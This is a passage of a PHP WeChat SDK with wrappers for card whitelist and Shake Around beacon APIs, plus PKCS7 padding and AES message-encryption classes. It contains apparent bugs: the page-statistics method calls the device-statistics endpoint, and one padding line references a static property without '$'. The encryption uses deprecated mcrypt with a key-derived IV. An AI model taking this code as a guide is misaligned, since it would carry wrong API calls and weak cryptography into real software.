  3446. return false;
  3447. }
  3448. return true;
  3449. }
  3450. return false;
  3451. }
  3452.  
  3453. /**
  3454. * 设置卡券测试白名单
  3455. * @param string $openid 测试的 openid 列表
  3456. * @param string $user 测试的微信号列表
  3457. * @return boolean
  3458. */
  3459. public function setCardTestWhiteList($openid=array(),$user=array()) {
  3460. $data = array();
  3461. if (count($openid) > 0)
  3462. $data['openid'] = $openid;
  3463. if (count($user) > 0)
  3464. $data['username'] = $user;
  3465. if (!$this->access_token && !$this->checkAuth()) return false;
  3466. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_TESTWHILELIST_SET . 'access_token=' . $this->access_token, self::json_encode($data));
  3467. if ($result) {
  3468. $json = json_decode($result, true);
  3469. if (!$json || !empty($json['errcode'])) {
  3470. $this->errCode = $json['errcode'];
  3471. $this->errMsg = $json['errmsg'];
  3472. return false;
  3473. }
  3474. return true;
  3475. }
  3476. return false;
  3477. }
  3478.  
  3479. /**
  3480. * 申请设备ID
  3481. * [applyShakeAroundDevice 申请配置设备所需的UUID、Major、Minor。
  3482. * 若激活率小于50%,不能新增设备。单次新增设备超过500 个,需走人工审核流程。
  3483. * 审核通过后,可用迒回的批次ID 用“查询设备列表”接口拉取本次申请的设备ID]
  3484. * @param array $data
  3485. * array(
  3486. * "quantity" => 3, //申请的设备ID 的数量,单次新增设备超过500 个,需走人工审核流程(必填)
  3487. * "apply_reason" => "测试",//申请理由(必填)
  3488. * "comment" => "测试专用", //备注(非必填)
  3489. * "poi_id" => 1234 //设备关联的门店ID(非必填)
  3490. * )
  3491. * @return boolean|mixed
  3492. * {
  3493. "data": {
  3494. "apply_id": 123,
  3495. "device_identifiers":[
  3496. {
  3497. "device_id":10100,
  3498. "uuid":"FDA50693-A4E2-4FB1-AFCF-C6EB07647825",
  3499. "major":10001,
  3500. "minor":10002
  3501. }
  3502. ]
  3503. },
  3504. "errcode": 0,
  3505. "errmsg": "success."
  3506. }
  3507.  
  3508. apply_id:申请的批次ID,可用在“查询设备列表”接口按批次查询本次申请成功的设备ID
  3509. device_identifiers:指定的设备ID 列表
  3510. device_id:设备编号
  3511. uuid、major、minor
  3512. audit_status:审核状态。0:审核未通过、1:审核中、2:审核已通过;审核会在三个工作日内完成
  3513. audit_comment:审核备注,包括审核不通过的原因
  3514. * @access public
  3515. * @author polo<gao.bo168@gmail.com>
  3516. * @version 2015-3-25 下午1:24:06
  3517. * @copyright Show More
  3518. */
  3519. public function applyShakeAroundDevice($data){
  3520. if (!$this->access_token && !$this->checkAuth()) return false;
  3521. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_DEVICE_APPLYID . 'access_token=' . $this->access_token, self::json_encode($data));
  3522. $this->log($result);
  3523. if ($result) {
  3524. $json = json_decode($result, true);
  3525. if (!$json || !empty($json['errcode'])) {
  3526. $this->errCode = $json['errcode'];
  3527. $this->errMsg = $json['errmsg'];
  3528. return false;
  3529. }
  3530. return $json;
  3531. }
  3532. return false;
  3533. }
  3534.  
  3535. /**
  3536. * 编辑设备信息
  3537. * [updateShakeAroundDevice 编辑设备的备注信息。可用设备ID或完整的UUID、Major、Minor指定设备,二者选其一。]
  3538. * @param array $data
  3539. * array(
  3540. * "device_identifier" => array(
  3541. * "device_id" => 10011, //当提供了device_id则不需要使用uuid、major、minor,反之亦然
  3542. * "uuid" => "FDA50693-A4E2-4FB1-AFCF-C6EB07647825",
  3543. * "major" => 1002,
  3544. * "minor" => 1223
  3545. * ),
  3546. * "comment" => "测试专用", //备注(非必填)
  3547. * )
  3548. * {
  3549. "data": {
  3550. },
  3551. "errcode": 0,
  3552. "errmsg": "success."
  3553. }
  3554. * @return boolean
  3555. * @author binsee<binsee@163.com>
  3556. * @version 2015-4-20 23:45:00
  3557. */
  3558. public function updateShakeAroundDevice($data){
  3559. if (!$this->access_token && !$this->checkAuth()) return false;
  3560. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_DEVICE_UPDATE . 'access_token=' . $this->access_token, self::json_encode($data));
  3561. $this->log($result);
  3562. if ($result) {
  3563. $json = json_decode($result, true);
  3564. if (!$json || !empty($json['errcode'])) {
  3565. $this->errCode = $json['errcode'];
  3566. $this->errMsg = $json['errmsg'];
  3567. return false;
  3568. }
  3569. return true;
  3570. }
  3571. return false;
  3572. }
  3573.  
  3574. /**
  3575. * 查询设备列表
  3576. * [searchShakeAroundDevice 查询已有的设备ID、UUID、Major、Minor、激活状态、备注信息、关联门店、关联页面等信息。
  3577. * 可指定设备ID 或完整的UUID、Major、Minor 查询,也可批量拉取设备信息列表。]
  3578. * @param array $data
  3579. * $data 三种格式:
  3580. * ①查询指定设备时:$data = array(
  3581. * "device_identifiers" => array(
  3582. * array(
  3583. * "device_id" => 10100,
  3584. * "uuid" => "FDA50693-A4E2-4FB1-AFCF-C6EB07647825",
  3585. * "major" => 10001,
  3586. * "minor" => 10002
  3587. * )
  3588. * )
  3589. * );
  3590. * device_identifiers:指定的设备
  3591. * device_id:设备编号,若填了UUID、major、minor,则可不填设备编号,若二者都填,则以设备编号为优先
  3592. * uuid、major、minor:三个信息需填写完整,若填了设备编号,则可不填此信息
  3593. * +-------------------------------------------------------------------------------------------------------------
  3594. * ②需要分页查询或者指定范围内的设备时: $data = array(
  3595. * "begin" => 0,
  3596. * "count" => 3
  3597. * );
  3598. * begin:设备列表的起始索引值
  3599. * count:待查询的设备个数
  3600. * +-------------------------------------------------------------------------------------------------------------
  3601. * ③当需要根据批次ID 查询时: $data = array(
  3602. * "apply_id" => 1231,
  3603. * "begin" => 0,
  3604. * "count" => 3
  3605. * );
  3606. * apply_id:批次ID
  3607. * +-------------------------------------------------------------------------------------------------------------
  3608. * @return boolean|mixed
  3609. *正确迒回JSON 数据示例:
  3610. *字段说明
  3611. {
  3612. "data": {
  3613. "devices": [ //指定的设备信息列表
  3614. {
  3615. "comment": "", //设备的备注信息
  3616. "device_id": 10097, //设备编号
  3617. "major": 10001,
  3618. "minor": 12102,
  3619. "page_ids": "15369", //与此设备关联的页面ID 列表,用逗号隔开
  3620. "status": 1, //激活状态,0:未激活,1:已激活(但不活跃),2:活跃
  3621. "poi_id": 0, //门店ID
  3622. "uuid": "FDA50693-A4E2-4FB1-AFCF-C6EB07647825"
  3623. },
  3624. {
  3625. "comment": "", //设备的备注信息
  3626. "device_id": 10098, //设备编号
  3627. "major": 10001,
  3628. "minor": 12103,
  3629. "page_ids": "15368", //与此设备关联的页面ID 列表,用逗号隔开
  3630. "status": 1, //激活状态,0:未激活,1:已激活(但不活跃),2:活跃
  3631. "poi_id": 0, //门店ID
  3632. "uuid": "FDA50693-A4E2-4FB1-AFCF-C6EB07647825"
  3633. }
  3634. ],
  3635. "total_count": 151 //商户名下的设备总量
  3636. },
  3637. "errcode": 0,
  3638. "errmsg": "success."
  3639. }
  3640. * @access public
  3641. * @author polo<gao.bo168@gmail.com>
  3642. * @version 2015-3-25 下午1:45:42
  3643. * @copyright Show More
  3644. */
  3645. public function searchShakeAroundDevice($data){
  3646. if (!$this->access_token && !$this->checkAuth()) return false;
  3647. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_DEVICE_SEARCH . 'access_token=' . $this->access_token, self::json_encode($data));
  3648. $this->log($result);
  3649. if ($result) {
  3650. $json = json_decode($result, true);
  3651. if (!$json || !empty($json['errcode'])) {
  3652. $this->errCode = $json['errcode'];
  3653. $this->errMsg = $json['errmsg'];
  3654. return false;
  3655. }
  3656. return $json;
  3657. }
  3658. return false;
  3659. }
  3660.  
  3661. /**
  3662. * [bindLocationShakeAroundDevice 配置设备与门店的关联关系]
  3663. * @param string $device_id 设备编号,若填了UUID、major、minor,则可不填设备编号,若二者都填,则以设备编号为优先
  3664. * @param int $poi_id 待关联的门店ID
  3665. * @param string $uuid UUID、major、minor,三个信息需填写完整,若填了设备编号,则可不填此信息
  3666. * @param int $major
  3667. * @param int $minor
  3668. * @return boolean|mixed
  3669. * 正确返回JSON 数据示例:
  3670. * {
  3671. "data": {
  3672. },
  3673. "errcode": 0,
  3674. "errmsg": "success."
  3675. }
  3676. * @access public
  3677. * @author polo<gao.bo168@gmail.com>
  3678. * @version 2015-4-21 00:14:00
  3679. * @copyright Show More
  3680. */
  3681. public function bindLocationShakeAroundDevice($device_id,$poi_id,$uuid='',$major=0,$minor=0){
  3682. if (!$this->access_token && !$this->checkAuth()) return false;
  3683. if(!$device_id){
  3684. if(!$uuid || !$major || !$minor){
  3685. return false;
  3686. }
  3687. $device_identifier = array(
  3688. 'uuid' => $uuid,
  3689. 'major' => $major,
  3690. 'minor' => $minor
  3691. );
  3692. }else{
  3693. $device_identifier = array(
  3694. 'device_id' => $device_id
  3695. );
  3696. }
  3697. $data = array(
  3698. 'device_identifier' => $device_identifier,
  3699. 'poi_id' => $poi_id
  3700. );
  3701. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_DEVICE_BINDLOCATION . 'access_token=' . $this->access_token, self::json_encode($data));
  3702. $this->log($result);
  3703. if ($result) {
  3704. $json = json_decode($result, true);
  3705. if (!$json || !empty($json['errcode'])) {
  3706. $this->errCode = $json['errcode'];
  3707. $this->errMsg = $json['errmsg'];
  3708. return false;
  3709. }
  3710. return $json; //这个可以更改为返回true
  3711. }
  3712. return false;
  3713. }
  3714.  
  3715. /**
  3716. * [bindPageShakeAroundDevice 配置设备与页面的关联关系。
  3717. * 支持建立或解除关联关系,也支持新增页面或覆盖页面等操作。
  3718. * 配置完成后,在此设备的信号范围内,即可摇出关联的页面信息。
  3719. * 若设备配置多个页面,则随机出现页面信息]
  3720. * @param string $device_id 设备编号,若填了UUID、major、minor,则可不填设备编号,若二者都填,则以设备编号为优先
  3721. * @param array $page_ids 待关联的页面列表
  3722. * @param number $bind 关联操作标志位, 0 为解除关联关系,1 为建立关联关系
  3723. * @param number $append 新增操作标志位, 0 为覆盖,1 为新增
  3724. * @param string $uuid UUID、major、minor,三个信息需填写完整,若填了设备编号,则可不填此信息
  3725. * @param int $major
  3726. * @param int $minor
  3727. * @return boolean|mixed
  3728. * 正确返回JSON 数据示例:
  3729. * {
  3730. "data": {
  3731. },
  3732. "errcode": 0,
  3733. "errmsg": "success."
  3734. }
  3735. * @access public
  3736. * @author polo<gao.bo168@gmail.com>
  3737. * @version 2015-4-21 00:31:00
  3738. * @copyright Show More
  3739. */
  3740. public function bindPageShakeAroundDevice($device_id,$page_ids=array(),$bind=1,$append=1,$uuid='',$major=0,$minor=0){
  3741. if (!$this->access_token && !$this->checkAuth()) return false;
  3742. if(!$device_id){
  3743. if(!$uuid || !$major || !$minor){
  3744. return false;
  3745. }
  3746. $device_identifier = array(
  3747. 'uuid' => $uuid,
  3748. 'major' => $major,
  3749. 'minor' => $minor
  3750. );
  3751. }else{
  3752. $device_identifier = array(
  3753. 'device_id' => $device_id
  3754. );
  3755. }
  3756. $data = array(
  3757. 'device_identifier' => $device_identifier,
  3758. 'page_ids' => $page_ids,
  3759. 'bind' => $bind,
  3760. 'append' => $append
  3761. );
  3762. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_DEVICE_BINDPAGE . 'access_token=' . $this->access_token, self::json_encode($data));
  3763. $this->log($result);
  3764. if ($result) {
  3765. $json = json_decode($result, true);
  3766. if (!$json || !empty($json['errcode'])) {
  3767. $this->errCode = $json['errcode'];
  3768. $this->errMsg = $json['errmsg'];
  3769. return false;
  3770. }
  3771. return $json;
  3772. }
  3773. return false;
  3774. }
  3775.  
  3776. /**
  3777. * 上传在摇一摇页面展示的图片素材
  3778. * 注意:数组的键值任意,但文件名前必须加@,使用单引号以避免本地路径斜杠被转义
  3779. * @param array $data {"media":'@Path\filename.jpg'} 格式限定为:jpg,jpeg,png,gif,图片大小建议120px*120 px,限制不超过200 px *200 px,图片需为正方形。
  3780. * @return boolean|array
  3781. * {
  3782. "data": {
  3783. "pic_url":"http://shp.qpic.cn/wechat_shakearound_pic/0/1428377032e9dd2797018cad79186e03e8c5aec8dc/120"
  3784. },
  3785. "errcode": 0,
  3786. "errmsg": "success."
  3787. }
  3788. }
  3789. * @author binsee<binsee@163.com>
  3790. * @version 2015-4-21 00:51:00
  3791. */
  3792. public function uploadShakeAroundMedia($data){
  3793. if (!$this->access_token && !$this->checkAuth()) return false;
  3794. $result = $this->http_post(self::API_URL_PREFIX.self::SHAKEAROUND_MATERIAL_ADD.'access_token='.$this->access_token,$data,true);
  3795. if ($result)
  3796. {
  3797. $json = json_decode($result,true);
  3798. if (!$json || !empty($json['errcode'])) {
  3799. $this->errCode = $json['errcode'];
  3800. $this->errMsg = $json['errmsg'];
  3801. return false;
  3802. }
  3803. return $json;
  3804. }
  3805. return false;
  3806. }
  3807.  
  3808. /**
  3809. * [addShakeAroundPage 增加摇一摇出来的页面信息,包括在摇一摇页面出现的主标题、副标题、图片和点击进去的超链接。]
  3810. * @param string $title 在摇一摇页面展示的主标题,不超过6 个字
  3811. * @param string $description 在摇一摇页面展示的副标题,不超过7 个字
  3812. * @param sting $icon_url 在摇一摇页面展示的图片, 格式限定为:jpg,jpeg,png,gif; 建议120*120 , 限制不超过200*200
  3813. * @param string $page_url 跳转链接
  3814. * @param string $comment 页面的备注信息,不超过15 个字,可不填
  3815. * @return boolean|mixed
  3816. * 正确返回JSON 数据示例:
  3817. * {
  3818. "data": {
  3819. "page_id": 28840 //新增页面的页面id
  3820. }
  3821. "errcode": 0,
  3822. "errmsg": "success."
  3823. }
  3824. * @access public
  3825. * @author polo<gao.bo168@gmail.com>
  3826. * @version 2015-3-25 下午2:57:09
  3827. * @copyright Show More
  3828. */
  3829. public function addShakeAroundPage($title,$description,$icon_url,$page_url,$comment=''){
  3830. if (!$this->access_token && !$this->checkAuth()) return false;
  3831. $data = array(
  3832. "title" => $title,
  3833. "description" => $description,
  3834. "icon_url" => $icon_url,
  3835. "page_url" => $page_url,
  3836. "comment" => $comment
  3837. );
  3838. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_PAGE_ADD . 'access_token=' . $this->access_token, self::json_encode($data));
  3839. $this->log($result);
  3840. if ($result) {
  3841. $json = json_decode($result, true);
  3842. if (!$json || !empty($json['errcode'])) {
  3843. $this->errCode = $json['errcode'];
  3844. $this->errMsg = $json['errmsg'];
  3845. return false;
  3846. }
  3847. return $json;
  3848. }
  3849. return false;
  3850. }
  3851.  
  3852. /**
  3853. * [updateShakeAroundPage 编辑摇一摇出来的页面信息,包括在摇一摇页面出现的主标题、副标题、图片和点击进去的超链接。]
  3854. * @param int $page_id
  3855. * @param string $title 在摇一摇页面展示的主标题,不超过6 个字
  3856. * @param string $description 在摇一摇页面展示的副标题,不超过7 个字
  3857. * @param sting $icon_url 在摇一摇页面展示的图片, 格式限定为:jpg,jpeg,png,gif; 建议120*120 , 限制不超过200*200
  3858. * @param string $page_url 跳转链接
  3859. * @param string $comment 页面的备注信息,不超过15 个字,可不填
  3860. * @return boolean|mixed
  3861. * 正确返回JSON 数据示例:
  3862. * {
  3863. "data": {
  3864. "page_id": 28840 //编辑页面的页面ID
  3865. }
  3866. "errcode": 0,
  3867. "errmsg": "success."
  3868. }
  3869. * @access public
  3870. * @author polo<gao.bo168@gmail.com>
  3871. * @version 2015-3-25 下午3:02:51
  3872. * @copyright Show More
  3873. */
  3874. public function updateShakeAroundPage($page_id,$title,$description,$icon_url,$page_url,$comment=''){
  3875. if (!$this->access_token && !$this->checkAuth()) return false;
  3876. $data = array(
  3877. "page_id" => $page_id,
  3878. "title" => $title,
  3879. "description" => $description,
  3880. "icon_url" => $icon_url,
  3881. "page_url" => $page_url,
  3882. "comment" => $comment
  3883. );
  3884. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_PAGE_UPDATE . 'access_token=' . $this->access_token, self::json_encode($data));
  3885. $this->log($result);
  3886. if ($result) {
  3887. $json = json_decode($result, true);
  3888. if (!$json || !empty($json['errcode'])) {
  3889. $this->errCode = $json['errcode'];
  3890. $this->errMsg = $json['errmsg'];
  3891. return false;
  3892. }
  3893. return $json;
  3894. }
  3895. return false;
  3896. }
  3897.  
  3898. /**
  3899. * [searchShakeAroundPage 查询已有的页面,包括在摇一摇页面出现的主标题、副标题、图片和点击进去的超链接。
  3900. * 提供两种查询方式,①可指定页面ID 查询,②也可批量拉取页面列表。]
  3901. * @param array $page_ids
  3902. * @param int $begin
  3903. * @param int $count
  3904. * ①需要查询指定页面时:
  3905. * {
  3906. "page_ids":[12345, 23456, 34567]
  3907. }
  3908. * +-------------------------------------------------------------------------------------------------------------
  3909. * ②需要分页查询或者指定范围内的页面时:
  3910. * {
  3911. "begin": 0,
  3912. "count": 3
  3913. }
  3914. * +-------------------------------------------------------------------------------------------------------------
  3915. * @return boolean|mixed
  3916. * 正确返回JSON 数据示例:
  3917. {
  3918. "data": {
  3919. "pages": [
  3920. {
  3921. "comment": "just for test",
  3922. "description": "test",
  3923. "icon_url": "https://www.baidu.com/img/bd_logo1.png",
  3924. "page_id": 28840,
  3925. "page_url": "http://xw.qq.com/testapi1",
  3926. "title": "测试1"
  3927. },
  3928. {
  3929. "comment": "just for test",
  3930. "description": "test",
  3931. "icon_url": "https://www.baidu.com/img/bd_logo1.png",
  3932. "page_id": 28842,
  3933. "page_url": "http://xw.qq.com/testapi2",
  3934. "title": "测试2"
  3935. }
  3936. ],
  3937. "total_count": 2
  3938. },
  3939. "errcode": 0,
  3940. "errmsg": "success."
  3941. }
  3942. *字段说明:
  3943. *total_count 商户名下的页面总数
  3944. *page_id 摇周边页面唯一ID
  3945. *title 在摇一摇页面展示的主标题
  3946. *description 在摇一摇页面展示的副标题
  3947. *icon_url 在摇一摇页面展示的图片
  3948. *page_url 跳转链接
  3949. *comment 页面的备注信息
  3950. * @access public
  3951. * @author polo<gao.bo168@gmail.com>
  3952. * @version 2015-3-25 下午3:12:17
  3953. * @copyright Show More
  3954. */
  3955. public function searchShakeAroundPage($page_ids=array(),$begin=0,$count=1){
  3956. if (!$this->access_token && !$this->checkAuth()) return false;
  3957. if(!empty($page_ids)){
  3958. $data = array(
  3959. 'page_ids' => $page_ids
  3960. );
  3961. }else{
  3962. $data = array(
  3963. 'begin' => $begin,
  3964. 'count' => $count
  3965. );
  3966. }
  3967. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_PAGE_SEARCH . 'access_token=' . $this->access_token, self::json_encode($data));
  3968. $this->log($result);
  3969. if ($result) {
  3970. $json = json_decode($result, true);
  3971. if (!$json || !empty($json['errcode'])) {
  3972. $this->errCode = $json['errcode'];
  3973. $this->errMsg = $json['errmsg'];
  3974. return false;
  3975. }
  3976. return $json;
  3977. }
  3978. return false;
  3979. }
  3980.  
  3981. /**
  3982. * [deleteShakeAroundPage 删除已有的页面,包括在摇一摇页面出现的主标题、副标题、图片和点击进去的超链接。
  3983. * 只有页面与设备没有关联关系时,才可被删除。]
  3984. * @param array $page_ids
  3985. * {
  3986. "page_ids":[12345,23456,34567]
  3987. }
  3988. * @return boolean|mixed
  3989. * 正确返回JSON 数据示例:
  3990. * {
  3991. "data": {
  3992. },
  3993. "errcode": 0,
  3994. "errmsg": "success."
  3995. }
  3996. * @access public
  3997. * @author polo<gao.bo168@gmail.com>
  3998. * @version 2015-3-25 下午3:23:00
  3999. * @copyright Show More
  4000. */
  4001. public function deleteShakeAroundPage($page_ids=array()){
  4002. if (!$this->access_token && !$this->checkAuth()) return false;
  4003. $data = array(
  4004. 'page_ids' => $page_ids
  4005. );
  4006. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_PAGE_DELETE . 'access_token=' . $this->access_token, self::json_encode($data));
  4007. $this->log($result);
  4008. if ($result) {
  4009. $json = json_decode($result, true);
  4010. if (!$json || !empty($json['errcode'])) {
  4011. $this->errCode = $json['errcode'];
  4012. $this->errMsg = $json['errmsg'];
  4013. return false;
  4014. }
  4015. return $json;
  4016. }
  4017. return false;
  4018. }
  4019.  
  4020. /**
  4021. * [getShakeInfoShakeAroundUser 获取设备信息,包括UUID、major、minor,以及距离、openID 等信息。]
  4022. * @param string $ticket 摇周边业务的ticket,可在摇到的URL 中得到,ticket生效时间为30 分钟
  4023. * @return boolean|mixed
  4024. * 正确返回JSON 数据示例:
  4025. * {
  4026. "data": {
  4027. "page_id ": 14211,
  4028. "beacon_info": {
  4029. "distance": 55.00620700469034,
  4030. "major": 10001,
  4031. "minor": 19007,
  4032. "uuid": "FDA50693-A4E2-4FB1-AFCF-C6EB07647825"
  4033. },
  4034. "openid": "oVDmXjp7y8aG2AlBuRpMZTb1-cmA"
  4035. },
  4036. "errcode": 0,
  4037. "errmsg": "success."
  4038. }
  4039. * 字段说明:
  4040. * beacon_info 设备信息,包括UUID、major、minor,以及距离
  4041. * UUID、major、minor UUID、major、minor
  4042. * distance Beacon 信号与手机的距离
  4043. * page_id 摇周边页面唯一ID
  4044. * openid 商户AppID 下用户的唯一标识
  4045. * poi_id 门店ID,有的话则返回,没有的话不会在JSON 格式内
  4046. * @access public
  4047. * @author polo<gao.bo168@gmail.com>
  4048. * @version 2015-3-25 下午3:28:20
  4049. * @copyright Show More
  4050. */
  4051. public function getShakeInfoShakeAroundUser($ticket){
  4052. if (!$this->access_token && !$this->checkAuth()) return false;
  4053. $data = array('ticket' => $ticket);
  4054. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_USER_GETSHAKEINFO . 'access_token=' . $this->access_token, self::json_encode($data));
  4055. $this->log($result);
  4056. if ($result) {
  4057. $json = json_decode($result, true);
  4058. if (!$json || !empty($json['errcode'])) {
  4059. $this->errCode = $json['errcode'];
  4060. $this->errMsg = $json['errmsg'];
  4061. return false;
  4062. }
  4063. return $json;
  4064. }
  4065. return false;
  4066. }
  4067.  
  4068. /**
  4069. * [deviceShakeAroundStatistics 以设备为维度的数据统计接口。
  4070. * 查询单个设备进行摇周边操作的人数、次数,点击摇周边消息的人数、次数;查询的最长时间跨度为30天。]
  4071. * @param int $device_id 设备编号,若填了UUID、major、minor,即可不填设备编号,二者选其一
  4072. * @param int $begin_date 起始日期时间戳,最长时间跨度为30 天
  4073. * @param int $end_date 结束日期时间戳,最长时间跨度为30 天
  4074. * @param string $uuid UUID、major、minor,三个信息需填写完成,若填了设备编辑,即可不填此信息,二者选其一
  4075. * @param int $major
  4076. * @param int $minor
  4077. * @return boolean|mixed
  4078. * 正确返回JSON 数据示例:
  4079. * {
  4080. "data": [
  4081. {
  4082. "click_pv": 0,
  4083. "click_uv": 0,
  4084. "ftime": 1425052800,
  4085. "shake_pv": 0,
  4086. "shake_uv": 0
  4087. },
  4088. {
  4089. "click_pv": 0,
  4090. "click_uv": 0,
  4091. "ftime": 1425139200,
  4092. "shake_pv": 0,
  4093. "shake_uv": 0
  4094. }
  4095. ],
  4096. "errcode": 0,
  4097. "errmsg": "success."
  4098. }
  4099. * 字段说明:
  4100. * ftime 当天0 点对应的时间戳
  4101. * click_pv 点击摇周边消息的次数
  4102. * click_uv 点击摇周边消息的人数
  4103. * shake_pv 摇周边的次数
  4104. * shake_uv 摇周边的人数
  4105. * @access public
  4106. * @author polo<gao.bo168@gmail.com>
  4107. * @version 2015-4-21 00:39:00
  4108. * @copyright Show More
  4109. */
  4110. public function deviceShakeAroundStatistics($device_id,$begin_date,$end_date,$uuid='',$major=0,$minor=0){
  4111. if (!$this->access_token && !$this->checkAuth()) return false;
  4112. if(!$device_id){
  4113. if(!$uuid || !$major || !$minor){
  4114. return false;
  4115. }
  4116. $device_identifier = array(
  4117. 'uuid' => $uuid,
  4118. 'major' => $major,
  4119. 'minor' => $minor
  4120. );
  4121. }else{
  4122. $device_identifier = array(
  4123. 'device_id' => $device_id
  4124. );
  4125. }
  4126. $data = array(
  4127. 'device_identifier' => $device_identifier,
  4128. 'begin_date' => $begin_date,
  4129. 'end_date' => $end_date
  4130. );
  4131. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_STATISTICS_DEVICE . 'access_token=' . $this->access_token, self::json_encode($data));
  4132. $this->log($result);
  4133. if ($result) {
  4134. $json = json_decode($result, true);
  4135. if (!$json || !empty($json['errcode'])) {
  4136. $this->errCode = $json['errcode'];
  4137. $this->errMsg = $json['errmsg'];
  4138. return false;
  4139. }
  4140. return $json;
  4141. }
  4142. return false;
  4143. }
  4144.  
  4145. /**
  4146. * [pageShakeAroundStatistics 以页面为维度的数据统计接口。
  4147. * 查询单个页面通过摇周边摇出来的人数、次数,点击摇周边页面的人数、次数;查询的最长时间跨度为30天。]
  4148. * @param int $page_id 指定页面的ID
  4149. * @param int $begin_date 起始日期时间戳,最长时间跨度为30 天
  4150. * @param int $end_date 结束日期时间戳,最长时间跨度为30 天
  4151. * @return boolean|mixed
  4152. * 正确返回JSON 数据示例:
  4153. * {
  4154. "data": [
  4155. {
  4156. "click_pv": 0,
  4157. "click_uv": 0,
  4158. "ftime": 1425052800,
  4159. "shake_pv": 0,
  4160. "shake_uv": 0
  4161. },
  4162. {
  4163. "click_pv": 0,
  4164. "click_uv": 0,
  4165. "ftime": 1425139200,
  4166. "shake_pv": 0,
  4167. "shake_uv": 0
  4168. }
  4169. ],
  4170. "errcode": 0,
  4171. "errmsg": "success."
  4172. }
  4173. * 字段说明:
  4174. * ftime 当天0 点对应的时间戳
  4175. * click_pv 点击摇周边消息的次数
  4176. * click_uv 点击摇周边消息的人数
  4177. * shake_pv 摇周边的次数
  4178. * shake_uv 摇周边的人数
  4179. * @author binsee<binsee@163.com>
  4180. * @version 2015-4-21 00:43:00
  4181. */
  4182. public function pageShakeAroundStatistics($page_id,$begin_date,$end_date){
  4183. if (!$this->access_token && !$this->checkAuth()) return false;
  4184. $data = array(
  4185. 'page_id' => $page_id,
  4186. 'begin_date' => $begin_date,
  4187. 'end_date' => $end_date
  4188. );
  4189. $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_STATISTICS_DEVICE . 'access_token=' . $this->access_token, self::json_encode($data));
  4190. $this->log($result);
  4191. if ($result) {
  4192. $json = json_decode($result, true);
  4193. if (!$json || !empty($json['errcode'])) {
  4194. $this->errCode = $json['errcode'];
  4195. $this->errMsg = $json['errmsg'];
  4196. return false;
  4197. }
  4198. return $json;
  4199. }
  4200. return false;
  4201. }
  4202. }
  4203. /**
  4204. * PKCS7Encoder class
  4205. *
  4206. * 提供基于PKCS7算法的加解密接口.
  4207. */
  4208. class PKCS7Encoder
  4209. {
  4210. public static $block_size = 32;
  4211.  
  4212. /**
  4213. * 对需要加密的明文进行填充补位
  4214. * @param $text 需要进行填充补位操作的明文
  4215. * @return 补齐明文字符串
  4216. */
  4217. function encode($text)
  4218. {
  4219. $block_size = PKCS7Encoder::$block_size;
  4220. $text_length = strlen($text);
  4221. //计算需要填充的位数
  4222. $amount_to_pad = PKCS7Encoder::$block_size - ($text_length % PKCS7Encoder::$block_size);
  4223. if ($amount_to_pad == 0) {
  4224. $amount_to_pad = PKCS7Encoder::block_size;
  4225. }
  4226. //获得补位所用的字符
  4227. $pad_chr = chr($amount_to_pad);
  4228. $tmp = "";
  4229. for ($index = 0; $index < $amount_to_pad; $index++) {
  4230. $tmp .= $pad_chr;
  4231. }
  4232. return $text . $tmp;
  4233. }
  4234.  
  4235. /**
  4236. * 对解密后的明文进行补位删除
  4237. * @param decrypted 解密后的明文
  4238. * @return 删除填充补位后的明文
  4239. */
  4240. function decode($text)
  4241. {
  4242.  
  4243. $pad = ord(substr($text, -1));
  4244. if ($pad < 1 || $pad > PKCS7Encoder::$block_size) {
  4245. $pad = 0;
  4246. }
  4247. return substr($text, 0, (strlen($text) - $pad));
  4248. }
  4249.  
  4250. }
  4251.  
  4252. /**
  4253. * Prpcrypt class
  4254. *
  4255. * 提供接收和推送给公众平台消息的加解密接口.
  4256. */
  4257. class Prpcrypt
  4258. {
  4259. public $key;
  4260.  
  4261. function __construct($k) {
  4262. $this->key = base64_decode($k . "=");
  4263. }
  4264.  
  4265. /**
  4266. * 兼容老版本php构造函数,不能在 __construct() 方法前边,否则报错
  4267. */
  4268. function Prpcrypt($k)
  4269. {
  4270. $this->key = base64_decode($k . "=");
  4271. }
  4272.  
  4273. /**
  4274. * 对明文进行加密
  4275. * @param string $text 需要加密的明文
  4276. * @return string 加密后的密文
  4277. */
  4278. public function encrypt($text, $appid)
  4279. {
  4280.  
  4281. try {
  4282. //获得16位随机字符串,填充到明文之前
  4283. $random = $this->getRandomStr();//"aaaabbbbccccdddd";
  4284. $text = $random . pack("N", strlen($text)) . $text . $appid;
  4285. // 网络字节序
  4286. $size = mcrypt_get_block_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
  4287. $module = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
  4288. $iv = substr($this->key, 0, 16);
  4289. //使用自定义的填充方式对明文进行补位填充
  4290. $pkc_encoder = new PKCS7Encoder;
  4291. $text = $pkc_encoder->encode($text);
  4292. mcrypt_generic_init($module, $this->key, $iv);
  4293. //加密
  4294. $encrypted = mcrypt_generic($module, $text);
  4295. mcrypt_generic_deinit($module);
  4296. mcrypt_module_close($module);
  4297.  
  4298. // print(base64_encode($encrypted));
  4299. //使用BASE64对加密后的字符串进行编码
  4300. return array(ErrorCode::$OK, base64_encode($encrypted));
  4301. } catch (Exception $e) {
  4302. //print $e;
  4303. return array(ErrorCode::$EncryptAESError, null);
  4304. }
  4305. }
  4306.  
  4307. /**
  4308. * 对密文进行解密
  4309. * @param string $encrypted 需要解密的密文
  4310. * @return string 解密得到的明文
  4311. */
  4312. public function decrypt($encrypted, $appid)
  4313. {
  4314.  
  4315. try {
  4316. //使用BASE64对需要解密的字符串进行解码
